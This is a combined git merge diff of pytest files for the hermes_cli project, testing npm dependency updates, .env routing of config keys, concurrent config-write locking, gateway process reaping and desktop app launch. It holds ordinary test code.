update_cmd._update_node_dependencies()-- assert not self._npm_calls(mock_run), (- "npm must not run when _npm_lockfile_changed reports no change"- )-- @patch("subprocess.Popen")- @patch("shutil.which", return_value="/usr/bin/npm")- def test_runs_install_when_lockfile_changed(self, _which, mock_popen, tmp_path, monkeypatch):- """When _npm_lockfile_changed reports a change, npm must run."""- from hermes_cli import main as hm-- (tmp_path / "package.json").write_text("{}")- (tmp_path / "package-lock.json").write_text("{}")- monkeypatch.setattr(hm, "PROJECT_ROOT", tmp_path)- monkeypatch.setattr(hm, "_npm_lockfile_changed", lambda root: True)- popen_calls = []- mock_popen.side_effect = self._make_popen(popen_calls)-- update_cmd._update_node_dependencies()-- calls = self._popen_npm_calls(popen_calls)- assert len(calls) == 1, f"expected npm to run when lockfile changed; got: {calls}"-- @patch("subprocess.Popen")- @patch("shutil.which", return_value="/usr/bin/npm")- def test_records_lockfile_hash_only_on_success(self, _which, mock_popen, tmp_path, monkeypatch):- """A failed install must not record the lockfile hash (so the next- run retries instead of wrongly believing deps are up to date)."""- from hermes_cli import main as hm-- (tmp_path / "package.json").write_text("{}")- (tmp_path / "package-lock.json").write_text("{}")- monkeypatch.setattr(hm, "PROJECT_ROOT", tmp_path)- monkeypatch.setattr(hm, "_npm_lockfile_changed", lambda root: True)- recorded = []- # _update_node_dependencies lives in update_cmd_deps and calls its own module-level- # _record_npm_lockfile_hash, so that binding is the real seam (update_cmd's is dead).- from hermes_cli import update_cmd_deps- monkeypatch.setattr(update_cmd_deps, "_record_npm_lockfile_hash", lambda root: recorded.append(root))- mock_popen.side_effect = self._make_popen([], returncode=1, stderr_lines=["npm ERR!\n"])-- update_cmd._update_node_dependencies()-- assert not recorded, "lockfile hash must not be recorded when npm install fails"-- @patch("subprocess.Popen")- @patch("shutil.which", return_value="/usr/bin/npm")- def test_warms_npx_agent_browser_cache_regardless_of_install_result(- self, _which, mock_popen, tmp_path, monkeypatch- ):- """The npx warm-up must fire even when the workspace install fails —- it's independent of ui-tui/web dependency state (#43564)."""- from hermes_cli import main as hm-- (tmp_path / "package.json").write_text("{}")- (tmp_path / "package-lock.json").write_text("{}")- monkeypatch.setattr(hm, "PROJECT_ROOT", tmp_path)- monkeypatch.setattr(hm, "_npm_lockfile_changed", lambda root: True)- mock_popen.side_effect = self._make_popen([], returncode=1, stderr_lines=["npm ERR!\n"])-- with patch(- "tools.browser_tool_install.warm_agent_browser_npx_cache", return_value=True- ) as mock_warm:- update_cmd._update_node_dependencies()-- mock_warm.assert_called_once()-- @patch("subprocess.run")- @patch("shutil.which", return_value=None)- def test_returns_silently_when_npm_not_found(self, _which, mock_run, tmp_path, monkeypatch):- """No npm on PATH → return without calling subprocess."""- from hermes_cli import main as hm-- (tmp_path / "package.json").write_text("{}")- monkeypatch.setattr(hm, "PROJECT_ROOT", tmp_path)-- update_cmd._update_node_dependencies()-- mock_run.assert_not_called()-- @patch("subprocess.run")- @patch("shutil.which", return_value="/usr/bin/npm")- def test_returns_silently_when_package_json_absent(self, _which, mock_run, tmp_path, monkeypatch):- """No package.json → return without calling npm."""- from hermes_cli import main as hm-- monkeypatch.setattr(hm, "PROJECT_ROOT", tmp_path)-- update_cmd._update_node_dependencies()-- mock_run.assert_not_called()-- @patch("subprocess.Popen")- @patch("shutil.which", return_value="/usr/bin/npm")- def test_install_runs_from_project_root(self, _which, mock_popen, tmp_path, monkeypatch):- """npm install must execute from PROJECT_ROOT, not a workspace subdir."""- from hermes_cli import main as hm-- (tmp_path / "package.json").write_text("{}")- (tmp_path / "package-lock.json").write_text("{}")- monkeypatch.setattr(hm, "PROJECT_ROOT", tmp_path)-- popen_calls = []- mock_popen.side_effect = self._make_popen(popen_calls)-- update_cmd._update_node_dependencies()-- cwd_calls = [- c["kwargs"].get("cwd")- for c in popen_calls- if c["cmd"] and "npm" in str(c["cmd"][0])- ]- assert cwd_calls, "expected at least one npm call"- for cwd in cwd_calls:- assert cwd == tmp_path, f"npm must run from PROJECT_ROOT; got cwd={cwd}"+def _isolate_venv_holders(monkeypatch):+ """The update flow's venv-holder guard sees the live gateway processes on+ a dev machine and aborts with SystemExit 2 before reaching the branch+ logic under test. Isolate it so the test exercises the intended path."""+ monkeypatch.setattr("hermes_cli.update_cmd_windows._detect_venv_python_processes", lambda: [])- pytestmark = pytest.mark.usefixtures(- "isolated_update_processes", "isolated_update_checkout",- )--class TestGitTrampolineSelfHeal:"""Proactive Git-for-Windows trampoline self-heal (#87876).diff --cc tests/hermes_cli/test_computer_use_cli.pyindex 5f3fceca030,756a26df268..1a711e99912--- a/tests/hermes_cli/test_computer_use_cli.py+++ b/tests/hermes_cli/test_computer_use_cli.py@@@ -36,26 -42,49 +36,27 @@@ def test_computer_use_help_omits_browseassert "permissions" in result.stdout-def test_computer_use_rejects_removed_browser_approve_command() -> None:+def test_computer_use_rejects_removed_browser_approve_command():result = _run("browser-approve", "--pid", "123")-assert result.returncode == 2- assert "invalid choice: 'browser-approve'" in result.stderr+ assert "'browser-approve' is not a `hermes computer-use` command" in result.stderr+ assert "choose from" not in result.stderr-def test_computer_use_status_returns_zero_for_compatible_driver(- monkeypatch: pytest.MonkeyPatch,-) -> None:- from hermes_cli import tools_config- import hermes_cli.tools_config_cua as tools_config_cua+def test_computer_use_status_reports_pm_without_polling_vendor(monkeypatch, capsys, tmp_path):+ from hermes_cli import tools_config_cua as cua- driver = r"C:\Users\tester\.local\bin\cua-driver.exe"monkeypatch.delenv("HERMES_CUA_DRIVER_CMD", raising=False)- monkeypatch.setattr(cua_backend_driver, "resolve_cua_driver_cmd", lambda: driver)- monkeypatch.setattr(- tools_config,- "_cua_driver_contract_status",- lambda _binary=None: {"ready": True},- )- monkeypatch.setattr(- tools_config_cua,- "_cua_driver_contract_status",- lambda _binary=None: {"ready": True},- )- monkeypatch.setattr(- cua_backend_driver,- "cua_driver_update_check",- lambda: {"update_available": False},- )-+ monkeypatch.setattr(cua_backend_driver, "resolve_cua_driver_cmd", lambda: str(tmp_path / "cua-driver"))+ monkeypatch.setattr(cua, "_cua_driver_contract_status", lambda _binary=None: {"ready": True, "version": "0.20.0"})assert _invoke(monkeypatch, "status") == 0+ output = capsys.readouterr().out+ assert "Hermes PM" in output+ assert "latest" not in output-def test_computer_use_status_returns_nonzero_when_driver_is_missing(- monkeypatch: pytest.MonkeyPatch,- capsys: pytest.CaptureFixture[str],-) -> None:-+def test_computer_use_status_returns_nonzero_when_driver_is_missing(monkeypatch, capsys):monkeypatch.setattr(cua_backend_driver, "resolve_cua_driver_cmd", lambda: None)-assert _invoke(monkeypatch, "status") == 1assert "cua-driver: not installed" in capsys.readouterr().outdiff --cc tests/hermes_cli/test_config_platform_env_routing.pyindex 00000000000,59705e7bdd4..d23ee2e2394mode 000000,100644..100644--- a/tests/hermes_cli/test_config_platform_env_routing.py+++ b/tests/hermes_cli/test_config_platform_env_routing.py@@@ -1,0 -1,112 +1,112 @@@+ """``hermes config set/get/unset`` route every name Hermes registers as an environment variable to+ ``.env`` — the file the platform setup flows and ``/sethome`` already write (#111848)."""++ import pytest-import yaml++import hermes_yaml as yaml+++ def test_platform_env_key_round_trips_without_a_config_yaml_copy(tmp_path, monkeypatch, capsys):+ """``config set/get/unset`` shares the platform setup flow's .env storage."""+ from hermes_cli import config as cfg++ monkeypatch.setenv("HERMES_HOME", str(tmp_path))+ monkeypatch.setenv("HERMES_MANAGED_DIR", str(tmp_path / "managed"))+ config_path = tmp_path / "config.yaml"+ config_path.write_text("model:\n default: test/model\n", encoding="utf-8")++ cfg.set_config_value("FEISHU_HOME_CHANNEL", "oc_ROUTING_TEST")++ assert yaml.safe_load(config_path.read_text(encoding="utf-8")) == {+ "model": {"default": "test/model"}+ }+ assert (tmp_path / ".env").read_text(encoding="utf-8") == (+ "FEISHU_HOME_CHANNEL=oc_ROUTING_TEST\n"+ )++ cfg.get_config_value("FEISHU_HOME_CHANNEL")+ assert capsys.readouterr().out.strip().endswith("oc_ROUTING_TEST")++ cfg.unset_config_value("FEISHU_HOME_CHANNEL")+ assert "FEISHU_HOME_CHANNEL" not in (tmp_path / ".env").read_text(encoding="utf-8")+ assert yaml.safe_load(config_path.read_text(encoding="utf-8")) == {+ "model": {"default": "test/model"}+ }+++ def test_registered_env_setting_converges_stale_config_yaml_copy(tmp_path, monkeypatch, capsys):+ """A non-suffix adapter key (``*_ALLOWED_USERS``) routes to ``.env``; a top-level ``config.yaml``+ copy left by an older ``config set`` is dropped on ``set`` and ``unset`` so one reader can't see a+ value the other doesn't. Credentials keep their own ``.env`` lifecycle (control)."""+ from hermes_cli import config as cfg++ monkeypatch.setenv("HERMES_HOME", str(tmp_path))+ monkeypatch.setenv("HERMES_MANAGED_DIR", str(tmp_path / "managed"))+ config_path = tmp_path / "config.yaml"+ config_path.write_text(+ "model:\n default: test/model\nDISCORD_ALLOWED_USERS: '111'\nWHATSAPP_MODE: web\n",+ encoding="utf-8")++ cfg.set_config_value("DISCORD_ALLOWED_USERS", "222")+ cfg.set_config_value("TAVILY_API_KEY", "tvly-control")+ env_text = (tmp_path / ".env").read_text(encoding="utf-8")+ assert "DISCORD_ALLOWED_USERS=222" in env_text and "TAVILY_API_KEY=tvly-control" in env_text+ assert yaml.safe_load(config_path.read_text(encoding="utf-8")) == {+ "model": {"default": "test/model"}, "WHATSAPP_MODE": "web"}++ cfg.unset_config_value("WHATSAPP_MODE") # only a stale yaml copy existed+ assert yaml.safe_load(config_path.read_text(encoding="utf-8")) == {"model": {"default": "test/model"}}+ capsys.readouterr()+ with pytest.raises(SystemExit):+ cfg.get_config_value("WHATSAPP_MODE")+++ def test_unregistered_upper_snake_name_routes_to_env_by_shape(tmp_path, monkeypatch, capsys):+ """Any ``UPPER_SNAKE`` key is an environment setting even when Hermes never registered it+ (``TELEGRAM_GROUP_ALLOWED_USERS`` is read straight from ``os.getenv``): it lands in ``.env``,+ the stale ``config.yaml`` copy converges, and ``get`` reads the ``.env`` value. A lowercase bare+ key keeps the open top-level namespace (control)."""+ from hermes_cli import config as cfg++ monkeypatch.setenv("HERMES_HOME", str(tmp_path))+ monkeypatch.setenv("HERMES_MANAGED_DIR", str(tmp_path / "managed"))+ config_path = tmp_path / "config.yaml"+ config_path.write_text(+ "model:\n default: test/model\nTELEGRAM_GROUP_ALLOWED_USERS: '111'\n", encoding="utf-8")++ cfg.set_config_value("TELEGRAM_GROUP_ALLOWED_USERS", "222,333")+ cfg.set_config_value("HERMES_TIMEZONE", "Europe/Berlin")+ cfg.set_config_value("my_custom_flag", "hello")+ out = capsys.readouterr().out++ env_text = (tmp_path / ".env").read_text(encoding="utf-8")+ assert "TELEGRAM_GROUP_ALLOWED_USERS=222,333" in env_text and "HERMES_TIMEZONE=Europe/Berlin" in env_text+ assert yaml.safe_load(config_path.read_text(encoding="utf-8")) == {+ "model": {"default": "test/model"}, "my_custom_flag": "hello"}++ cfg.get_config_value("TELEGRAM_GROUP_ALLOWED_USERS")+ assert capsys.readouterr().out.strip() == "222,333"+++ def test_env_writer_denylist_guards_upper_snake_names_and_unknown_names_get_a_note(+ tmp_path, monkeypatch, capsys):+ """Routing by shape closes the config.yaml detour around the env writer's denylist: a+ denylisted name is refused and written nowhere. A name neither registered nor documented is+ still stored in ``.env`` with a one-line note."""+ from hermes_cli import config as cfg++ monkeypatch.setenv("HERMES_HOME", str(tmp_path))+ monkeypatch.setenv("HERMES_MANAGED_DIR", str(tmp_path / "managed"))+ config_path = tmp_path / "config.yaml"+ config_path.write_text("model:\n default: test/model\n", encoding="utf-8")++ with pytest.raises(SystemExit):+ cfg.set_config_value("HERMES_YOLO_MODE", "true", force=True)+ assert "denylist" in capsys.readouterr().err+ assert not (tmp_path / ".env").exists()+ assert yaml.safe_load(config_path.read_text(encoding="utf-8")) == {"model": {"default": "test/model"}}++ cfg.set_config_value("SOME_PLUGIN_ONLY_KNOB", "xyz")+ out = capsys.readouterr().out+ assert "✓ Set SOME_PLUGIN_ONLY_KNOB in" in out+ assert "SOME_PLUGIN_ONLY_KNOB=xyz" in (tmp_path / ".env").read_text(encoding="utf-8")+ assert yaml.safe_load(config_path.read_text(encoding="utf-8")) == {"model": {"default": "test/model"}}diff --cc tests/hermes_cli/test_config_rmw_lock.pyindex 00000000000,ede2b1b6b6c..2dece4bb668mode 000000,100644..100644--- a/tests/hermes_cli/test_config_rmw_lock.py+++ b/tests/hermes_cli/test_config_rmw_lock.py@@@ -1,0 -1,130 +1,130 @@@+ """Concurrent dashboard config writers must not drop each other's mutations.++ Only ``PUT /api/config`` (and the ``config_write_scope`` routers) held ``_CONFIG_MUTATION_LOCK``.+ The custom-endpoint handlers, the profile-create model write, ``POST /api/model/set`` and+ ``PUT /api/model/moa`` ran their load→mutate→save cycles on worker threads without it, so a+ writer racing the desktop's debounced whole-record autosave interleaved as::++ T1 load (providers={}) T2 load (providers={})+ T1 mutate providers.box T2 mutate display.x+ T1 save (providers.box) T2 save (providers={} + display.x) <- T1's write erased++ Both tests force exactly that interleaving and assert both writes land.+ """++ from __future__ import annotations++ import threading+ import time++ import pytest-import yaml++import hermes_yaml as yaml+++ @pytest.fixture+ def client(monkeypatch, _isolate_hermes_home):+ from starlette.testclient import TestClient++ from hermes_cli.config import load_config, save_config+ from hermes_cli.web_server import _SESSION_HEADER_NAME, _SESSION_TOKEN, app++ monkeypatch.setattr("hermes_cli.model_cost_guard.expensive_model_warning", lambda *_a, **_k: None)+ cfg = load_config()+ cfg["model"] = {"provider": "openrouter", "default": "openai/gpt-5.5"}+ save_config(cfg)++ client = TestClient(app)+ client.headers[_SESSION_HEADER_NAME] = _SESSION_TOKEN+ return client+++ def _race_second_writer_into_first_writers_save(monkeypatch, first, second, timeout: float = 5.0):+ """Deterministic lost-write interleaving: ``first`` runs until it reaches ``save_config``,+ then ``second`` is started and ``first`` waits (up to ``timeout``) for ``second`` to+ ``load_config`` before saving. Unlocked, ``second`` loads the stale document and its save+ erases ``first``'s mutation. With the RMW lock ``second`` blocks before its load, ``first``'s+ wait times out, and the two writes serialize. Returns ``(first_response, second_response)``."""+ import hermes_cli.config as cfg_mod++ real_save, real_load = cfg_mod.save_config, cfg_mod.load_config+ first_at_save, second_loaded = threading.Event(), threading.Event()+ gate = threading.Lock()++ def gated_save(config, *args, **kwargs):+ # The first save_config call in the test is the first writer's (the second has not+ # started yet). Hold it until the second writer has loaded — or the lock kept it out.+ if not first_at_save.is_set():+ first_at_save.set()+ second_loaded.wait(timeout)+ with gate:+ return real_save(config, *args, **kwargs)+ return real_save(config, *args, **kwargs)++ def spied_load(*args, **kwargs):+ cfg = real_load(*args, **kwargs)+ # Any load while the first writer sits blocked in save_config is the second writer's.+ if first_at_save.is_set() and not gate.locked():+ second_loaded.set()+ return cfg++ monkeypatch.setattr(cfg_mod, "save_config", gated_save)+ monkeypatch.setattr(cfg_mod, "load_config", spied_load)++ results: list = [None, None]+ threads = [threading.Thread(target=lambda: results.__setitem__(0, first())),+ threading.Thread(target=lambda: results.__setitem__(1, second()))]+ threads[0].start()+ assert first_at_save.wait(30), "first writer never reached save_config"+ threads[1].start()+ for t in threads:+ t.join(timeout=60)+ return results+++ def _on_disk() -> dict:+ from hermes_constants import get_hermes_home+ return yaml.safe_load((get_hermes_home() / "config.yaml").read_text(encoding="utf-8"))+++ def test_custom_endpoint_upsert_racing_config_autosave_keeps_both_writes(client, monkeypatch):+ """Saving a custom endpoint (sync-def handler on a worker thread) while the settings-page+ autosave (PUT /api/config) is in flight: the new ``providers`` entry AND the autosaved field+ both survive."""+ autosave = lambda: client.put( # noqa: E731+ "/api/config", json={"config": {"display": {"personality": "canary"}}})+ upsert = lambda: client.post( # noqa: E731+ "/api/providers/custom-endpoints",+ json={"id": "racebox", "name": "racebox", "base_url": "http://racebox:8000/v1", "model": "race-model",+ "discover_models": False})++ r1, r2 = _race_second_writer_into_first_writers_save(monkeypatch, autosave, upsert)+ assert r1.status_code == 200, r1.text+ assert r2.status_code == 200, r2.text++ on_disk = _on_disk()+ assert "racebox" in on_disk["providers"]+ assert on_disk["display"]["personality"] == "canary"+++ def test_custom_endpoint_activate_racing_moa_save_keeps_both_writes(client, monkeypatch):+ """Two worker-thread writers (custom-endpoint activate vs MoA save) serialize through the+ same lock — the ``model`` switch and the ``moa`` section are both on disk afterwards."""+ from hermes_cli.config import load_config, save_config++ cfg = load_config()+ cfg["providers"] = {"racebox": {"base_url": "http://racebox:8000/v1", "model": "race-model", "api_key": "k"}}+ save_config(cfg)++ activate = lambda: client.post("/api/providers/custom-endpoints/racebox/activate") # noqa: E731+ moa = lambda: client.put( # noqa: E731+ "/api/model/moa",+ json={"reference_models": [{"provider": "openrouter", "model": "openai/gpt-5.5"}],+ "aggregator": {"provider": "openrouter", "model": "openai/gpt-5.5"}})++ r1, r2 = _race_second_writer_into_first_writers_save(monkeypatch, activate, moa)+ assert r1.status_code == 200, r1.text+ assert r2.status_code == 200, r2.text++ on_disk = _on_disk()+ assert on_disk["model"]["provider"] == "racebox"+ assert on_disk["moa"]["aggregator"]["model"] == "openai/gpt-5.5"diff --cc tests/hermes_cli/test_desktop_cron_ticker_profiles.pyindex d112f28d3ca,839432abfd2..f6df8a56934--- a/tests/hermes_cli/test_desktop_cron_ticker_profiles.py+++ b/tests/hermes_cli/test_desktop_cron_ticker_profiles.py@@@ -139,7 -144,7 +144,7 @@@ def test_desktop_ticker_serves_every_prof its own, so the per-home liveness check alone lets both tickers race for its fires(#107485, #108428)."""import hermes_cli.profiles as profiles_mod-- import yaml++ import hermes_yaml as yaml_sp, builtin = _providersroot = tmp_path / ".hermes"diff --cc tests/hermes_cli/test_gateway.pyindex 90f60d88ca2,d173728396b..2b21db371e4--- a/tests/hermes_cli/test_gateway.py+++ b/tests/hermes_cli/test_gateway.py@@@ -714,12 -825,9 +808,10 @@@ class TestReapUnsupervisedGatewayOrphanresult = gateway._reap_unsupervised_gateway_orphans()assert result is True # at least one orphan was reaped- killed = [pid for pid, _ in killed_pids]- assert orphan_pid in killed # the real orphan was killed- assert recorded_pid not in killed # the recorded gateway was NOT killed- assert bootstrap_pid not in killed # its supervision chain was NOT killed+ assert marked_pids == [orphan_pid] # the real orphan was asked to drain+ assert killed_pids == [] # Windows SIGTERM must not TerminateProcess+ @pytest.mark.platforms("windows")def test_windows_no_orphans_when_only_recorded_gateway_running(self, monkeypatch):"""If the only gateway processes are the recorded one and itsbootstrap parent, the reaper returns False and kills nothing."""diff --cc tests/hermes_cli/test_gateway_migrate_multiplex.pyindex 3bf11f45757,8952fd28ba3..f773a809e85--- a/tests/hermes_cli/test_gateway_migrate_multiplex.py+++ b/tests/hermes_cli/test_gateway_migrate_multiplex.py@@@ -81,8 -88,17 +88,17 @@@ def _name(home: Path) -> strreturn hermes_constants.profile_name_for_home(home) or "default"+ def _units(recorded) -> list:+ if recorded is None:+ return []+ return list(recorded) if isinstance(recorded, list) else [recorded]+++ _real_preflight = gm._preflight_apply++def _config_flag(root: Path):-- import yaml++ import hermes_yaml as yamlraw = yaml.safe_load((root / "config.yaml").read_text(encoding="utf-8")) or {}return (raw.get("gateway") or {}).get("multiplex_profiles")diff --cc tests/hermes_cli/test_gui_command.pyindex f2c04b9e991,529d56c3393..04dc16a5abe--- a/tests/hermes_cli/test_gui_command.py+++ b/tests/hermes_cli/test_gui_command.py@@@ -144,67 -139,106 +145,67 @@@ def _pack_into_staging(root: Path, contreturn _run-def test_gui_installs_packages_and_launches_desktop_app(tmp_path, monkeypatch):- root = _make_desktop_tree(tmp_path)- desktop_dir = root / "apps" / "desktop"- monkeypatch.setattr(cli_main, "PROJECT_ROOT", root)- packaged_exe = _make_packaged_executable(root, monkeypatch)- # The pack double writes text, not a PE. The real integrity gate has its- # own filesystem tests; this test owns build/launch orchestration.- monkeypatch.setattr(main_desktop, "_desktop_exe_integrity_error", lambda _: None)-- install_ok = subprocess.CompletedProcess(["npm", "ci"], 0)- pack_ok = subprocess.CompletedProcess(["npm", "run", "pack"], 0)- launch_ok = subprocess.CompletedProcess([str(packaged_exe)], 0)-- with patch("hermes_cli.main_install_repair._resolve_node_runtime_npm", return_value="/usr/bin/npm"), \- patch("hermes_cli.main_web_build._run_npm_install_deterministic", return_value=install_ok) as mock_install, \- patch("hermes_cli.main_desktop._desktop_build_needed", return_value=True), \- patch("hermes_cli.main_desktop._write_desktop_build_stamp"), \- patch("hermes_cli.main_desktop._desktop_macos_relaunchable_fixup"), \- patch("hermes_cli.main_desktop._desktop_linux_sandbox_fixup", return_value=True), \- patch("hermes_cli.main_desktop._register_linux_desktop_entry"), \- patch("hermes_cli.main.subprocess.run", side_effect=_pack_into_staging(root)) as mock_run, \- pytest.raises(SystemExit) as exc:- cli_main.cmd_gui(_ns())-- assert exc.value.code == 0- # The install now runs with a resolved env (managed-Node PATH), never a bare- # ``env=None`` that would leave npm's child scripts unable to find ``node``.- mock_install.assert_called_once()- assert mock_install.call_args.args == ("/usr/bin/npm", root)- assert mock_install.call_args.kwargs["capture_output"] is False- install_env = mock_install.call_args.kwargs["env"]- assert install_env is not None and "PATH" in install_env- pack_cmd = mock_run.call_args_list[0].args[0]- assert pack_cmd[:4] == ["/usr/bin/npm", "run", "pack", "--"]- # Stage-and-swap (#86443): the pack targets a staging dir beside release/,- # never release/ itself.- staging = _staging_dir_from(pack_cmd)- assert staging.parent == desktop_dir and staging.name.startswith(".staging-")- assert not staging.exists() # swapped into release/ and cleaned up- assert mock_run.call_args_list[0].kwargs["cwd"] == desktop_dir- launched = mock_run.call_args_list[1].args[0]- if sys.platform.startswith("linux"):- assert launched == [str(packaged_exe), "--disable-setuid-sandbox"]- else:- assert launched == [str(packaged_exe)]- assert mock_run.call_args_list[1].kwargs["cwd"] == desktop_dir---def test_gui_install_env_prepends_managed_node_on_bare_path(tmp_path, monkeypatch):- """Regression: npm's child scripts (electron-winstaller's select-7z-arch.js)- shell out to bare ``node``. When Desktop is launched from the updater chain- the parent PATH is stripped, so the install env MUST carry the Hermes-managed- Node ahead of that bare PATH or the install dies with ``node: not found``.- """- import os-- from hermes_constants import iter_hermes_node_dirs-[email protected]("local", [False, True])+def test_source_launch_reads_bom_electron_path_without_provisioning(tmp_path, monkeypatch, local):root = _make_desktop_tree(tmp_path)+ desktop = root / "apps" / "desktop"+ (desktop / "dist").mkdir()+ (desktop / "dist" / "index.html").write_text("prepared renderer", encoding="utf-8")+ electron = root / "node_modules" / "electron"+ (electron / "dist").mkdir(parents=True)+ (electron / "package.json").write_text("{}", encoding="utf-8")+ executable = electron / "dist" / "électron"+ executable.touch()+ (electron / "path.txt").write_text(executable.name + "\n", encoding="utf-8-sig")monkeypatch.setattr(cli_main, "PROJECT_ROOT", root)- _make_packaged_executable(root, monkeypatch)-- # A managed Node tree on disk so with_hermes_node_path() actually prepends it.- home = tmp_path / "hermes-home"- (home / "node" / "bin").mkdir(parents=True)- monkeypatch.setenv("HERMES_HOME", str(home))- # Simulate the stripped PATH the desktop updater chain hands us.- monkeypatch.setenv("PATH", os.pathsep.join(["/usr/bin", "/bin"]))-- install_ok = subprocess.CompletedProcess(["npm", "ci"], 0)- launch_ok = subprocess.CompletedProcess(["hermes"], 0)-- # A plain return_value rather than a fixed side_effect list: this test only- # cares about the env handed to the npm install, and pinning an exact- # sequence of subprocess.run calls makes it fail (StopIteration) whenever- # cmd_gui legitimately shells out one extra time — e.g. the Linux sandbox- # fixup, which fires on hosts where chrome-sandbox isn't already- # root-owned+4755. Assert on the install env, not on a call count.- with patch("hermes_cli.main_install_repair._resolve_node_runtime_npm", return_value="/usr/bin/npm"), \- patch("hermes_cli.main_web_build._run_npm_install_deterministic", return_value=install_ok) as mock_install, \- patch("hermes_cli.main_desktop._desktop_build_needed", return_value=True), \- patch("hermes_cli.main_desktop._write_desktop_build_stamp"), \- patch("hermes_cli.main_desktop._desktop_macos_relaunchable_fixup"), \- patch("hermes_cli.main_desktop._desktop_linux_sandbox_fixup", return_value=True), \- patch("hermes_cli.main.subprocess.run", return_value=launch_ok), \- pytest.raises(SystemExit):- cli_main.cmd_gui(_ns(skip_build=False))-- managed_dirs = [str(p) for p in iter_hermes_node_dirs() if p.is_dir()]- assert managed_dirs, "managed node tree not discovered"- install_env = mock_install.call_args.kwargs["env"]- path_parts = install_env["PATH"].split(os.pathsep)- assert path_parts[: len(managed_dirs)] == managed_dirs- assert "/usr/bin" in path_parts # the bare updater PATH is preserved, just after managed Node------+ monkeypatch.setattr(main_desktop, "_desktop_launch_env", lambda args: ({}, []))- monkeypatch.setattr(main_desktop, "_register_linux_desktop_entry", lambda: None)++ monkeypatch.setattr(main_desktop, "_register_linux_desktop_entry", lambda **kw: None)+ calls = []+ monkeypatch.setattr(main_desktop.subprocess, "run",+ lambda cmd, **kw: calls.append(cmd) or subprocess.CompletedProcess(cmd, 0))+ args = _ns(source=True, skip_build=True, local=local)+ with pytest.raises(SystemExit) as exit_info:+ main_desktop.cmd_gui(args)+ assert exit_info.value.code == 0+ assert calls == [[str(executable), ".", *(["--local"] if local else [])]]+ executable.unlink()+ with pytest.raises(SystemExit) as exit_info:+ main_desktop.cmd_gui(args)+ assert exit_info.value.code == 1+ assert len(calls) == 1+++def test_packaged_renderer_bom_does_not_bypass_entry_validation(tmp_path):+ import json+ import struct+ from hermes_cli.desktop_update_verify import _verify_packaged_entry++ resources = tmp_path / "resources"+ dist = resources / "app.asar.unpacked" / "dist"+ dist.mkdir(parents=True)+ entry = b"export {};"+ (dist / "main.mjs").write_bytes(entry)+ package = json.dumps({"main": "dist/main.mjs"}).encode("utf-8")+ header = json.dumps({"files": {+ "package.json": {"size": len(package), "offset": "0"},+ "dist": {"files": {"main.mjs": {"size": len(entry), "unpacked": True}}},+ }}).encode("utf-8")+ padded = header + b"\0" * (-len(header) % 4)+ (resources / "app.asar").write_bytes(+ struct.pack("<4I", 4, 8 + len(padded), 4 + len(padded), len(header)) + padded + package)+ index = dist / "index.html"+ index.write_text('<title>café</title><script type="module" src="./main.mjs"></script>',+ encoding="utf-8-sig")+ _verify_packaged_entry(resources)+ index.write_text("<title>café</title>", encoding="utf-8-sig")+ with pytest.raises(RuntimeError, match="renderer has no local module entry"):+ _verify_packaged_entry(resources)+ index.write_bytes(b"\xef\xbb\xbf\xff")+ with pytest.raises(RuntimeError, match="renderer entry is invalid"):+ _verify_packaged_entry(resources)+++# Dependency admission and staging are exercised by test_desktop_source_build.py.# ── Content-hash stamp tests ──────────────────────────────────────────@@@ -744,11 -975,14 +745,12 @@@ def test_relaunchable_fixup_legacy_adho# --- Linux launcher entry registration ------------------------------------[email protected]_only[email protected]("linux")def test_gui_registers_linux_desktop_entry_before_launch(tmp_path, monkeypatch):- """`hermes desktop` gives the app a launcher presence on Linux."""+ """A terminal launch (no DESKTOP_STARTUP_ID) still installs the entry before spawning Electron."""root = _make_desktop_tree(tmp_path)monkeypatch.setattr(cli_main, "PROJECT_ROOT", root)+ monkeypatch.delenv("DESKTOP_STARTUP_ID", raising=False)packaged_exe = _make_packaged_executable(root, monkeypatch)registered: list[Path] = []@@@ -761,7 -995,7 +763,6 @@@launch_ok = subprocess.CompletedProcess([str(packaged_exe)], 0)with patch("hermes_cli.main_desktop._desktop_build_needed", return_value=False), \-- patch("hermes_cli.main_install_repair._resolve_node_runtime_npm", return_value="/usr/bin/npm"), \patch("hermes_cli.main_desktop._desktop_linux_sandbox_fixup", return_value=True), \patch("hermes_cli.main.subprocess.run", return_value=launch_ok), \pytest.raises(SystemExit):@@@ -770,7 -1004,47 +771,46 @@@assert registered == [root][email protected]_only[email protected]("linux")+ def test_gui_shell_launch_defers_desktop_entry_until_window_reveal(tmp_path, monkeypatch):+ """An app-grid launch (DESKTOP_STARTUP_ID set) writes the entry only after Electron reports+ its window on screen — never before the spawn, while gnome-shell has the app in STARTING+ (#111906). Electron gets the pipe's write end via HERMES_DESKTOP_READY_FD."""+ root = _make_desktop_tree(tmp_path)+ monkeypatch.setattr(cli_main, "PROJECT_ROOT", root)+ monkeypatch.setenv("DESKTOP_STARTUP_ID", "gnome-shell/Hermes/1-0_TIME1")+ monkeypatch.setattr("hermes_cli.linux_desktop_entry.time.sleep", lambda _s: None)+ packaged_exe = _make_packaged_executable(root, monkeypatch)++ events: list[str] = []+ monkeypatch.setattr("hermes_cli.linux_desktop_entry.is_supported", lambda: True)+ monkeypatch.setattr(+ "hermes_cli.linux_desktop_entry.install_desktop_entry",+ lambda project_root: events.append(f"install:{project_root}") or (tmp_path / "hermes.desktop"),+ )++ def fake_electron(cmd, **kwargs):+ events.append("spawn")+ fd = int(kwargs["env"]["HERMES_DESKTOP_READY_FD"])+ assert fd in kwargs["pass_fds"]+ os.write(fd, b"r") # main window revealed+ deadline = time.monotonic() + 10+ while not any(e.startswith("install:") for e in events) and time.monotonic() < deadline:+ time.sleep(0.01)+ return subprocess.CompletedProcess(cmd, 0)++ with patch("hermes_cli.main_desktop._desktop_build_needed", return_value=False), \- patch("hermes_cli.main_install_repair._resolve_node_runtime_npm", return_value="/usr/bin/npm"), \+ patch("hermes_cli.main_desktop._desktop_linux_sandbox_fixup", return_value=True), \+ patch("hermes_cli.main.subprocess.run", side_effect=fake_electron), \+ pytest.raises(SystemExit) as exc:+ cli_main.cmd_gui(_ns())++ assert exc.value.code == 0+ assert events == ["spawn", f"install:{root}"]+ assert packaged_exe.exists()++[email protected]_only[email protected]("linux")def test_gui_launches_even_when_desktop_entry_install_fails(tmp_path, monkeypatch):"""Launcher plumbing is a convenience — it must never block the app."""root = _make_desktop_tree(tmp_path)@@@ -786,7 -1060,7 +826,6 @@@launch_ok = subprocess.CompletedProcess([str(packaged_exe)], 0)with patch("hermes_cli.main_desktop._desktop_build_needed", return_value=False), \-- patch("hermes_cli.main_install_repair._resolve_node_runtime_npm", 